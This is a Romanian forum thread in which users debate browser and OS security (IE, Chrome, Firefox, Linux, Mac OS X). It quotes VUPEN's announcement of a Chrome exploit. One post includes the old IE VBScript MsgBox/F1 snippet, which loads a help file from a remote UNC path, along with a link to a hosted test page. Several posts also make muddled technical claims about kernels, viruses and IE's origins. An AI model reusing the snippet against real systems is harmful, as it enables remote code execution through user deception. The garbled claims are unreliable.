următorul mesaj »

[doomnezeu]

am fost la cineva sa ii instalez internetul si avea ca browser internet explorer si jumatate din ecran era plin de bare dinalea de la yahoo google HP etc...

Incercati sa nu folostiti internet explorer, e foarte incet si vulnerabil... si nu toate siturile se vad pe el cum trebuie.

Cel mai rapid browser e inca Chrome, chiar daca are firefox mai multe plugin-uri, nu va trebuie.
http://www.google.com/chrome/?hl=it

un plugin pt chrome care scoate reclamele(care pot provoca epilepsie) pe unele situri, paginile o sa fie mai curate
https://chrome.google.com/extensions/detail/gighmmpiobklfepjocnamgkkbiglidom?hl=it

este si pt firefox
https://addons.mozilla.org/it/firefox/addon/adblock-plus/

[pippus]

chrome e "rapid" ptr ca face cache in disperare, sute si sute de mega

tot din experientza, ia f ushor malware si alte alea (mbeh, cache in draci, se umple de scripturi intr-o veselie... ), fatza de mozilla sau ie



p.

[doomnezeu]

IE e mai securizat decat Chrome?
ce fel de "experientza" ai avut tu cu chrome? cu vreun beta?

[WebMan]

A aparut D-zeu....

Top BROWSERE

[doomnezeu]

[brandiburu]

Prietene, daca ai putina materie cenusie in tartacuta, poti folosi IExplore cu succes. Toolbarurile alea de care zici tu sunt instalate cu vointa userului. De obicei cand se instaleaza toate rahaturile de emoticonuri sau programe exista optiunea Install Toolbar dar, din ce stiu pana acum (si ma refer la programe cat de cat serioase care au si aceasta optiune) se poate debifa foarte usor aceasta posibila instalare.

De asemenea, daca tot ai facut prostia sa instalezi un toolbar ai optiunea View si deselectezi ce toolbar-uri nu vrei sa iti apara. Asta daca nu vrei sa le dezinstalezi.

Simplu ca buna ziua.

Cat despre comparatii Chrome vs IExplore e ca si cum ai compara MAC OS X vs. Windows (orice versiune).  Ca sa te lamuresc: mac-tarzii se tot lauda ca MAC OS X nu are virusi. Normal, inca nu prezinta suficient interes pentru a fi atacat de baieti si nu este regasit in atat de multe companii precum este Windowsul.

La fel si la IExplorer: chiar daca lumea nu-l foloseste... calculatoarele tot il au. Si tinand cont ca majoritatea au Windows instalat pe PC-uri => prezenta IExplore si de aici sunt mii si mii de posibilitati de hacking.

Hai sa comparam Chrome cu IExplore atunci cand Google va avea aceeasi rata de raspandire a propriului sistem de operare care vine cu Chrome preinstalat in lumea asta, daca tot vrem sa facem o chestie asa calumea.

In rest, ca se incarca mai repede sau nu, e partea a doua. Chrome, in stare "cheala" sau Mozilla se misca foarte rapid. Dar ia apuca-te sa bagi add-onuri mai multe. Cel putin Mozilla o sa crape din 2 in 2 minute. Si nu trebuie sa ma crezi, uita-te pe Google si citeste de pe forumurile de specialitate.

Nu vreau sa intru in polemici despre cata securitate are IExplorer implementata si uite ca tot nu e de ajuns pentru ca nu stiu daca ar avea rost.

Mi se pare ca unii prea se grabesc sa arunce cu noroc in niste lucruri fara de care poate nu ar fi avut idee ce inseamna ala Internet sau calculator.

Hai sa zicem mersi ca avem Windows si IExplorer preinstalat incat sa ne putem conecta si noi la un Internet de unde sa descarcam alte browsere si sa facem misto de produsele Microsoft mai apoi.

[WebMan]

Ca sa te lamuresc: mac-tarzii se tot lauda ca MAC OS X nu are virusi. Normal, inca nu prezinta suficient interes pentru a fi atacat de baieti si nu este regasit in atat de multe companii precum este Windowsul.

Se pare cã ai rãmas în urmã, cel mai "atacat" sistem la ora actual de viruºi e OSX-ul

Cel putin Mozilla o sa crape din 2 in 2 minute.

Dacã dai la cioban celular, nu poþi sã ai pretenþii de la el sã trimitã MMS-uri
Aia cu "crãpatul" e pentru "copii mici"...

[doomnezeu]

@brandiburu stiu ca se pot scoate... sau poti sa nu le instalezi... dar ziceam ca lumea e proasta si da next next fara sa citeasca, dar la chrome si firefox nu ai tot prostiile alea, si plus ca IE e mai vulnerabil si lent.

Cat despre comparatii Chrome vs IExplore e ca si cum ai compara MAC OS X vs. Windows (orice versiune).  Ca sa te lamuresc: mac-tarzii se tot lauda ca MAC OS X nu are virusi. Normal, inca nu prezinta suficient interes pentru a fi atacat de baieti si nu este regasit in atat de multe companii precum este Windowsul.

La fel si la IExplorer: chiar daca lumea nu-l foloseste... calculatoarele tot il au. Si tinand cont ca majoritatea au Windows instalat pe PC-uri => prezenta IExplore si de aici sunt mii si mii de posibilitati de hacking.

Hai sa comparam Chrome cu IExplore atunci cand Google va avea aceeasi rata de raspandire a propriului sistem de operare care vine cu Chrome preinstalat in lumea asta, daca tot vrem sa facem o chestie asa calumea.

ce treaba are sula cu caciula? windows tot e mai vulnerabil decat chrome sau firefox

http://antivirusdigest.com/2011/03/most-secure-web-browser-for-2011/
The clear winners were Chrome and Firefox. Neither of these browsers were compromised.

http://en.wikipedia.org/wiki/Pwn2Own#Day_1_3
"During the first day of the competition Safari and Internet Explorer were defeated by researchers."

Hai sa zicem mersi ca avem Windows si IExplorer preinstalat incat sa ne putem conecta si noi la un Internet de unde sa descarcam alte browsere si sa facem misto de produsele Microsoft mai apoi.

hai sa zicem merci ca exista linux daca nu esti gamer retardat, linux e perfect(desi multe din jocuri merg si pe linux), in special ubuntu pentru incepatori.

linux e folosit de la calculatoare la servere, roboti si chiar roverele de pe marte , poate ca unele chestii is un pic mai greu de instalat dar foarte multe e mult mai simplu decat pe windows, mi-am cuparat o imprimant si am conectato si a mers instant fara sa mai instalez ceva fara sa-mi apare vreun popup ca cauta drivere.

[brandiburu]

@WebMan

Ai dreptate cu MAC OS X. http://www.tomshardware.com/news/macosx-most-dangerous-os,11877.html
Am acum tot dreptul sa fac putin trolling pe niste forumuri. 
Pe aici pe unde sunt eu acum, MAC OS X e doar o simpla insiruire de litere. Asa ca scuze ca mai raman in urma, in anumite privinte. I'll try to do my best. Oricum mersi de atentionare. Util.

@doomnezeu

ce treaba are sula cu caciula? windows tot e mai vulnerabil decat chrome sau firefox

well... windows e OS, firefox / chrome sunt browsere. Si nu cred ca te-ai referit la Chrome OS despre care am citit recent ca a fost inclus intr-o lista de genul "lucrurile de care Google ar trebui sa scape". Deci nu prea ii vad relevanta comparatiei.

hai sa zicem merci ca exista linux daca nu esti gamer retardat, linux e perfect(desi multe din jocuri merg si pe linux), in special ubuntu pentru incepatori.

Pe langa jocurile alea mai adauga si niste editare video/audio, niste proiectare si deja ai pierdut o gramada de clienti. Sunt convins ca daca as sta sa ma mai gandesc as gasi si alte segmente in care linuxul mai are mult de recuperat. Si cred ca orice om sanatos la cap vrea sa vada cum arata jocul X sau Y macar odata. Nu poti sa-i iei placerea si nu poti emula CoD, ACII sau Dragon Age 2 pe Linux, ca sa nu mai zic de simulatoare gen Arma II (inca n-am auzit sa fie emulat in conditii macar bune de joc).

Nu contest ca Linux nu e bun in ale lui. Insa nu cred ca poti pune, ca si cap de afis Ubuntu. Eu vad Ubuntu asa ca pe ceva foarte frumos colorat dar cu care nu as iesi la pensie. Nu cred ca se poate compara Ubuntu cu FreeBSD sau RedHat (mai ales ultimele versiuni - am testat 6-le si chiar e misto; traiasca torrentele) dar trebuie sa stii clar ce vrei sa obtii de la el.

In acelasi timp si Microsoft se tine binisor: Windows 2003/2008 Server sunt destul de utilizate si isi fac treaba chiar bine si ai aplicatii (mai ales daca e ceva custom-made) pe care nu le poti emula pe Linux/Unix oricat ai vrea sau rezultatele ar fi extraordinar de proaste.

Raman la parerea mea: hai sa nu aruncam cu pietre in unii si sa vedem doar binele la altii. Marea majoritate a celor care folosesc calculatorul au inceput cu Windows si IExplorer. Ca sunt bune sau nu, asta se vede in functie de nevoile fiecarui user/companii.

Eu am IExplorer, Firefox, Safari, Chrome si inca vreo 2 no name-uri. Le folosesc dupa cum imi pica la indemana si nu am avut probleme deosebite cu nici unul. Nu am antivirus de mai bine de 5 - 6 ani si nici n-am avut vreo problema in aceasta privinta. Pur si simplu mai conteaza si ce si de unde iei, pe unde iti bagi nasul, etc.

[viorelbuhoi]

salutare

ma distram oleaca citind comentariile de mai sus shi vreau sa adaug ceva
despre "cel mai atacat sistem la ora actuala de virushi" 
vorbim oleaca de kernel care poate fi static sau dinamik dak nu ma inshel
static la windoaza dinamic la unix (din care deriva linux shi mac)
virus in general ataca un sistem. efectul il are decat in sistemele statice.
deci, virus potzi acea shi in linux shi in windows shi in mac!!!!!
numai k activarea sau executzia lui este diferita de la un sistem la altul
practic un linux se comporta ca un purtator de boala(de virus) in cazul asta
dar nu ca un bolnav(citeshte windows).
mozilla, crome exista shi sub linux, internet explorer decat in windoaza.
faptul k internet explorer e "diciamo" ultimul in top se datoreaza hi "suportului"
sistemului de operare...
an facut ceva teste shi am instalat un internet explorer in linux (nu ma intrebatzi cum , google shi afli raspunsuri)
rezultatul in raspuns shi viteza a fost decat un pic sub cel al firefox-ului in windows....deci...


morala:
cel mai bun browser e ala care il cunoshti mai bine...

top-ul meu:

in windows:

1.mozilla
2.opera
3.chrome
4.internet explorer

in linux
1.mozilla
2.epiphany
3.konqueror
4.opera

[acidduzzu]

nici chrome nu mai e ce-a fost...

http://www.vupen.com/demos/VUPEN_Pwning_Chrome.php

[viorelbuhoi]

nici chrome nu mai e ce-a fost...

http://www.vupen.com/demos/VUPEN_Pwning_Chrome.php

da, e un exploit, dar atacul este sub windows....
acelasi atac este raportat shi sub internet explorer 8 cu sp3 cu tot

clasicul cod...
<html>
<script type="text/vbscript">
big = "\\www.nume de site.ceva\test.hlp"
//For i=1 to 2500
// big = big & "\..\"
//Next
MsgBox "please press F1 to save the world", ,"please save the world", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
</script>
</html>

dar in linux nu mere....
vrei sa te convingi am pus un exemplu aici:  http://www.viorelbuhoi.altervista.org/testex.html

[acidduzzu]

nu despre asta e vorba in linkul pe care l-am pus. ce zici tu acolo e de prin martie 2010, a fost corectat de microsfot in aprilie si chrome n-avea treaba cu asta.

[viorelbuhoi]

Hi everyone,

We are (un)happy to announce that we have officially Pwned Google Chrome and its sandbox.

The exploit shown in this video is one of the most sophisticated codes we have seen and created so far as it bypasses all security features including ASLR/DEP/Sandbox (and without exploiting a Windows kernel vulnerability), it is silent (no crash after executing the payload), it relies on undisclosed (0day) vulnerabilities discovered by VUPEN and it works on all Windows systems (32-bit and x64).

The video shows the exploit in action with a default installation of Google Chrome v11.0.696.65 on Microsoft Windows 7 SP1 (x64). The user is tricked into visiting a specially crafted web page hosting the exploit which will execute various payloads to ultimately download the Calculator from a remote location and launch it outside the sandbox (at Medium integrity level).

While Chrome has one of the most secure sandboxes and has always survived the Pwn2Own contest during the last three years, we have now uncovered a reliable way to execute arbitrary code on any default installation of Chrome despite its sandbox, ASLR and DEP.

For security reasons, the exploit code and technical details of the underlying vulnerabilities will not be publicly disclosed. They are exclusively shared with our Government customers as part of our vulnerability research services.

Update: The exploit works on both Chrome versions 11.x and 12.x. It was also tested with Chrome v11.0.696.68 and v12.0.742.30.



cam asta e pe link-ul postat + un filmuletz demonstrativ
ideea k exploit-ul functzioneaza numai in windows (windows 7 cu sp1 distro 64bit in cazul link-ului postat)
in linux, chrome in gaseshti cu numele de chromium shi crede-ma k exploit-ul cade in acest caz.
asta era ce vroiam eu sa subliniez
in alta ordine de idei scriptul a fost integrat deja in bazele de date antivirus la majoritatea distributziilor ca un cod "warm" asha k un antivirus banal (ex avira) cu update la zi il opreshte shi nu il executa...
chromium a lasat o impresie buna sub linux mai ales prin capacitatea de traducere online cu ajutorul motorului de la google.
nu sunt autorul programului, decat sustzin efortul depus in a face o distributzie gratis pentru un browser mult mai bun decat "internet explorer" (care se numea mozaic inainte de a fii furat shi de a fii un software platit?)
 

[viorelbuhoi]

inca ceva webman,
am vazut topul browserelor postat la http://internet-browser-review.toptenreviews.com/
e ok numai k e topul browserelor sub windows....
... opera in spate la internet explorer?....
numai pentru faptul k are 0.5pt in plus pentru complexitate?... come on...
pai este un top pentru leneshi? adik in orice lume a "butonatorilor" nu o sa gaseshti internet explorer in fatza la opera sau chrome sau mozilla...deci neg in totalitate acel top (sau macar 75%)
imi pare sincer rau pentru cei de la Redmond k nu au fost capabili sa ishi protejeze furaciunea....dar asha e in "bizines"
...cand eshti la furat nu te intrebi unde a disparut sacul...